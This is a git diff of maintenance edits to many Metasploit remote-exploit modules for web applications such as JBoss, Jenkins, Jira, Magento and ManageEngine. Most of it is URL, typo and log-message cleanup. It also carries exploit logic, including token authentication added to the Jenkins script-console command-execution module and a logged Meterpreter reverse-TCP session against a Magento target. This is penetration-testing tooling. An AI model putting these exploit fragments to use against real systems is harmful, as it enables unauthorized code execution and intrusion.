--- a/modules/exploits/multi/http/jboss_maindeployer.rb
+++ b/modules/exploits/multi/http/jboss_maindeployer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -356,5 +356,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     nil
   end
-
 end
diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb
index 7182bf2d2b..3476298175 100644
--- a/modules/exploits/multi/http/jboss_seam_upload_exec.rb
+++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb
@@ -1,9 +1,10 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
+
 class MetasploitModule < Msf::Exploit::Remote
     Rank = NormalRanking
 
@@ -16,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         super(update_info(info,
         'Name'                  => 'JBoss Seam 2 File Upload and Execute',
         'Description'   => %q{
-            Versions of the JBoss Seam 2 framework  < 2.2.1CR2 fails to properly
+            Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
             sanitize inputs to some JBoss Expression Language expressions.  As a
             result, attackers can gain remote code execution through the
             application server.  This module leverages RCE to upload and execute
@@ -114,12 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote
         }, timeout=datastore['TIMEOUT'])
         if (res and res.code == 302 and res.headers['Location'])
             if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))
-                vprint_status("#{rhost}:#{rport} Exploit successful")
+                vprint_good("#{rhost}:#{rport} Exploit successful")
             else
-                vprint_status("#{rhost}:#{rport} Exploit failed.")
+                vprint_error("#{rhost}:#{rport} Exploit failed")
             end
         else
-            vprint_status("#{rhost}:#{rport} Exploit failed.")
+            vprint_error("#{rhost}:#{rport} Exploit failed")
         end
     end
 
@@ -141,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote
             'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)
         }, timeout=datastore['TIMEOUT'])
         if (res and res.code == 200)
-            vprint_status("Successful request to JSP")
+            vprint_good("Successful request to JSP")
         else
             vprint_error("Failed to request JSP")
         end
@@ -192,11 +193,11 @@ EOJSP
                 #vprint_status("#{rhost}:#{rport} Exploit successful.")
                 return true
             else
-                #vprint_status("#{rhost}:#{rport} Exploit failed.")
+                #vprint_status("#{rhost}:#{rport} Exploit failed")
                 return false
             end
         else
-            #vprint_status("#{rhost}:#{rport} Exploit failed.")
+            #vprint_status("#{rhost}:#{rport} Exploit failed")
             return false
         end
     end
diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb
index 1f0bb7a061..2143eeb556 100644
--- a/modules/exploits/multi/http/jenkins_script_console.rb
+++ b/modules/exploits/multi/http/jenkins_script_console.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -19,7 +19,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'	=>
         [
           'Spencer McIntyre',
-          'jamcut'
+          'jamcut',
+          'thesubtlety'
         ],
       'License'        => MSF_LICENSE,
       'DefaultOptions' =>
@@ -50,6 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
       [
         OptString.new('USERNAME',  [ false, 'The username to authenticate as', '' ]),
         OptString.new('PASSWORD',  [ false, 'The password for the specified username', '' ]),
+        OptString.new('API_TOKEN',  [ false, 'The API token for the specified username', '' ]),
         OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ])
       ])
   end
@@ -77,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
     request_parameters = {
       'method'    => 'POST',
       'uri'       => normalize_uri(@uri.path, 'script'),
+      'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
       'vars_post' =>
         {
           'script' => java_craft_runtime_exec(cmd),
@@ -151,26 +154,42 @@ class MetasploitModule < Msf::Exploit::Remote
     @cookie = nil
     @crumb = nil
     if res.code != 200
-      print_status('Logging in...')
-      res = send_request_cgi({
-        'method'    => 'POST',
-        'uri'       => normalize_uri(@uri.path, "j_acegi_security_check"),
-        'vars_post' =>
-          {
-            'j_username' => datastore['USERNAME'],
-            'j_password' => datastore['PASSWORD'],
-            'Submit'     => 'log in'
-          }
-      })
+       if !datastore['API_TOKEN'].empty?
+          print_status('Authenticating with token...')
+          res = send_request_cgi({
+            'method'    => 'GET',
+            'uri'       => normalize_uri(@uri.path, "crumbIssuer/api/json"),
+            'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
+          })
+          if (res and res.code == 401)
+            fail_with(Failure::NoAccess, 'Login failed')
+          end
+       else
+          print_status('Logging in...')
+          res = send_request_cgi({
+            'method'    => 'POST',
+            'uri'       => normalize_uri(@uri.path, "j_acegi_security_check"),
+            'vars_post' =>
+              {
+                'j_username' => datastore['USERNAME'],
+                'j_password' => datastore['PASSWORD'],
+                'Submit'     => 'log in'
+              }
+          })
 
-      if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
-        fail_with(Failure::NoAccess, 'Login failed')
-      end
-      sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
-      @cookie = "#{sessionid}"
+          if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
+            fail_with(Failure::NoAccess, 'Login failed')
+          end
+          if res.get_cookies.split('JSESSIONID').count > 2
+            sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
+          else
+            sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
+          end
+          @cookie = "#{sessionid}"
 
-      res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
-      fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
+          res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
+          fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
+       end
     else
       print_status('No authentication required, skipping login...')
     end
@@ -178,7 +197,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if res.body =~ /"\.crumb", "([a-z0-9]*)"/
       print_status("Using CSRF token: '#{$1}' (.crumb style)")
       @crumb = {:name => '.crumb', :value => $1}
-    elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
+    elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
       print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
       @crumb = {:name => 'Jenkins-Crumb', :value => $1}
     end
diff --git a/modules/exploits/multi/http/jira_hipchat_template.rb b/modules/exploits/multi/http/jira_hipchat_template.rb
index 4068efd8df..cf434701df 100644
--- a/modules/exploits/multi/http/jira_hipchat_template.rb
+++ b/modules/exploits/multi/http/jira_hipchat_template.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,8 +17,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => "Atlassian HipChat for Jira Plugin Velocity Template Injection",
       'Description'    => %q{
         Atlassian Hipchat is a web service for internal instant messaging. A plugin is available
-        for Jira that allows team collibration at real time. A message can be used to inject Java
-        code into a Velocity template, and gain code exeuction as Jira. Authentication is required
+        for Jira that allows team collaboration at real time. A message can be used to inject Java
+        code into a Velocity template, and gain code execution as Jira. Authentication is required
         to exploit this vulnerability, and you must make sure the account you're using isn't
         protected by captcha. By default, Java payload will be used because it is cross-platform,
         but you can also specify which native payload you want (Linux or Windows).
@@ -193,38 +193,8 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
 
-  # Reports username and password to the database.
-  #
-  # @param opts [Hash]
-  # @option opts [String] :user
-  # @option opts [String] :password
-  #
-  # @return [void]
-  def report_cred(opts)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: ssl ? 'https' : 'http',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: fullname,
-      post_reference_name: self.refname,
-      private_data: opts[:password],
-      origin_type: :service,
-      private_type: :password,
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      last_attempted_at: Time.now
-    }.merge(service_data)
-
-    create_credential_login(login_data)
+  def service_details
+      super.merge({ post_reference_name: self.refname })
   end
 
 
@@ -269,10 +239,7 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::NoAccess, 'Incorrect username or password')
     end
 
-    report_cred(
-      user: jira_username,
-      password: jira_password
-    )
+    store_valid_credential(user: jira_username, private: jira_password, proof: cookie) # expands to store cookie
 
     cookie
   end
@@ -638,5 +605,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def print_error(msg='')
     super("#{peer} - #{msg}")
   end
-
 end
diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb
index 14613383f2..7c2effef87 100644
--- a/modules/exploits/multi/http/joomla_http_header_rce.rb
+++ b/modules/exploits/multi/http/joomla_http_header_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
           By storing user supplied headers in the databases session table it's possible to truncate the input
           by sending an UTF-8 character. The custom created payload is then executed once the session is read
-          from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
+          from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
           In later versions the deserialisation of invalid session data stops on the first error and the
           exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
           5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb
index 9af3b3e4e9..f166ce5bef 100644
--- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb
+++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb
index 877613d384..f6ac1d489e 100644
--- a/modules/exploits/multi/http/lcms_php_exec.rb
+++ b/modules/exploits/multi/http/lcms_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -132,5 +132,4 @@ class MetasploitModule < Msf::Exploit::Remote
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
index 52e2bc9b07..1664d7fc07 100644
--- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
+++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/magento_unserialize.rb b/modules/exploits/multi/http/magento_unserialize.rb
index 9398230a7b..fef3cd1224 100644
--- a/modules/exploits/multi/http/magento_unserialize.rb
+++ b/modules/exploits/multi/http/magento_unserialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -395,11 +395,10 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
 
 =begin
-saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc 
+saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc
 [*] Processing scripts/sam.rc for ERB directives.
 resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize
 resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp
@@ -413,7 +412,7 @@ LPORT => 6666
 resource (scripts/sam.rc)> check
 [*] 192.168.100.13:80 The target appears to be vulnerable.
 resource (scripts/sam.rc)> exploit
-[*] Started reverse TCP handler on 192.168.100.2:6666 
+[*] Started reverse TCP handler on 192.168.100.2:6666
 [+] generated a guest cart id
 [+] backdoor done!
 [*] Sending stage (33721 bytes) to 192.168.100.13
diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb
index 15b067aea8..4677e47077 100644
--- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb
+++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     @my_target = pick_target
     if @my_target.nil?
-      fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
+      fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed")
     else
       print_status("Selected target #{@my_target.name}")
     end
diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb
index b11c91dfa6..89dd9e9495 100644
--- a/modules/exploits/multi/http/manageengine_auth_upload.rb
+++ b/modules/exploits/multi/http/manageengine_auth_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All
         versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer,
         SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this
-        module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been
+        module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has
         been tested successfully in Windows and Linux on several versions.
       },
       'Author'        =>
@@ -411,7 +411,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Uploading EAR file...")
     res = send_multipart_request(cookie, ear_file_name, ear_file.pack)
     if res && res.code == 200
-      print_status("Upload appears to have been successful")
+      print_good("Upload appears to have been successful")
     else
       fail_with(Failure::Unknown, "#{peer} - EAR upload failed")
     end
diff --git a/modules/exploits/multi/http/manageengine_sd_uploader.rb b/modules/exploits/multi/http/manageengine_sd_uploader.rb
index 78c5ecfaf0..3945544962 100644
--- a/modules/exploits/multi/http/manageengine_sd_uploader.rb
+++ b/modules/exploits/multi/http/manageengine_sd_uploader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if res && res.code == 200
-      print_status("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
+      print_good("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
       " seconds for deployment")
       register_files_for_cleanup(jboss_path.gsub('../../','../') + "/null/" + ear_file_name)
       register_files_for_cleanup("Attachments/null/" + rand_file)
diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb
index c4c547d4c1..c184c9d5d2 100644
--- a/modules/exploits/multi/http/manageengine_search_sqli.rb
+++ b/modules/exploits/multi/http/manageengine_search_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb
index 6abf33fece..58eeafc47d 100644
--- a/modules/exploits/multi/http/mantisbt_php_exec.rb
+++ b/modules/exploits/multi/http/mantisbt_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb b/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb
index b35a1d0bc3..aa4e75f44a 100644
--- a/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb
+++ b/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb
index 790f24100f..bebc6eff52 100644
--- a/modules/exploits/multi/http/mediawiki_thumb.rb
+++ b/modules/exploits/multi/http/mediawiki_thumb.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name' => 'MediaWiki Thumb.php Remote Command Execution',
       'Description' => %q{
         MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
-      when DjVu  or PDF file upload support is enabled, allows remote unauthenticated
+      when DjVu or PDF file upload support is enabled, allows remote unauthenticated
       users to execute arbitrary commands via shell metacharacters. If no target file
       is specified this module will attempt to log in with the provided credentials to
       upload a file (.DjVu) to use for exploitation.
@@ -333,7 +333,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if r && r.code == 404 && r.body =~ /not exist/
       print_error("File: #{file_name} does not exist.")
     elsif r
-      print_error("Received response #{r.code}, exploit probably failed.")
+      print_error("Received response #{r.code}, exploit probably failed")
     end
   end
 
diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb
index d4dfa0e7d5..0f715c7e70 100644
--- a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb
+++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -306,5 +306,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb
index 867b8cb94a..92908389c1 100644
--- a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb
+++ b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -279,5 +279,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb
index 4f2de68a09..dd8a16a4a7 100644
--- a/modules/exploits/multi/http/mma_backdoor_upload.rb
+++ b/modules/exploits/multi/http/mma_backdoor_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb
index 25f1428ba5..d3539a0755 100644
--- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb
+++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb
index 5e9eb5ffa8..3fb8ee13b3 100644
--- a/modules/exploits/multi/http/moodle_cmd_exec.rb
+++ b/modules/exploits/multi/http/moodle_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb
index 379977f4ad..daaebfc86b 100644
--- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb
+++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
           1. This script may be invoked remotely without requiring authentication
           to any MT instance.
           2. Through a crafted POST request, it is possible to invoke particular
-          database migration functions (i.e functions that bring the existing
+          database migration functions (i.e. functions that bring the existing
           database up-to-date with an updated codebase) by name and with
           particular parameters.
           3. A particular migration function, core_drop_meta_for_table, allows
diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
index 44e773ffaf..d32bd69a1a 100644
--- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
+++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -192,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/
-      print_good("Login successful")
+      print_good("Login Successful")
       session = $1
     else
       fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb
index 24de8316a2..6420bd3f15 100644
--- a/modules/exploits/multi/http/nas4free_php_exec.rb
+++ b/modules/exploits/multi/http/nas4free_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb
index 65010451a9..8a27134de9 100644
--- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb
+++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb
index 0dae318301..4e1dfa9d03 100644
--- a/modules/exploits/multi/http/nibbleblog_file_upload.rb
+++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       info,
       'Name'            => 'Nibbleblog File Upload Vulnerability',
       'Description'     => %q{
-          Nibbleblog contains a flaw that allows a authenticated remote
+          Nibbleblog contains a flaw that allows an authenticated remote
           attacker to execute arbitrary PHP code. This module was
           tested on version 4.0.3.
         },
diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb
index 4cee032efb..5beec26301 100644
--- a/modules/exploits/multi/http/novell_servicedesk_rce.rb
+++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb
index 808e1e0095..3c10f02adb 100644
--- a/modules/exploits/multi/http/op5_license.rb
+++ b/modules/exploits/multi/http/op5_license.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb
index 141f4b26e9..ab346156b4 100644
--- a/modules/exploits/multi/http/op5_welcome.rb
+++ b/modules/exploits/multi/http/op5_welcome.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb
index c7c4ac5640..0c34e32a29 100644
--- a/modules/exploits/multi/http/openfire_auth_bypass.rb
+++ b/modules/exploits/multi/http/openfire_auth_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb
index 4d0167f21b..f02ae13f40 100644
--- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb
+++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'OpenMediaVault Cron Remote Command Execution',
       'Description'    => %q{
-      OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
+      OpenMediaVault allows an authenticated user to create cron jobs as arbitrary users on the system.
       An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
       },
       'License'        => MSF_LICENSE,
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if !resp or resp.code != 200
-      fail_with(Failure::UnexpectedReply, "Posting cron failed.")
+      fail_with(Failure::UnexpectedReply, "Posting cron failed")
     end
 
     print_status("Waiting for connect-back, this will take up to a minute")
diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb
index e8ea0bf8b7..532d584bd8 100644
--- a/modules/exploits/multi/http/openx_backdoor_php.rb
+++ b/modules/exploits/multi/http/openx_backdoor_php.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def rot13(str)
     str.tr! "A-Za-z", "N-ZA-Mn-za-m"
   end
-
 end
diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb
index ee3b4657fe..434039a7a6 100644
--- a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb
+++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # The server either returns a 500 error or a 200 OK when the upload is successful.
     if res and (res.code == 500 or res.code == 200)
-      print_status("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
+      print_good("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
       " seconds for deployment")
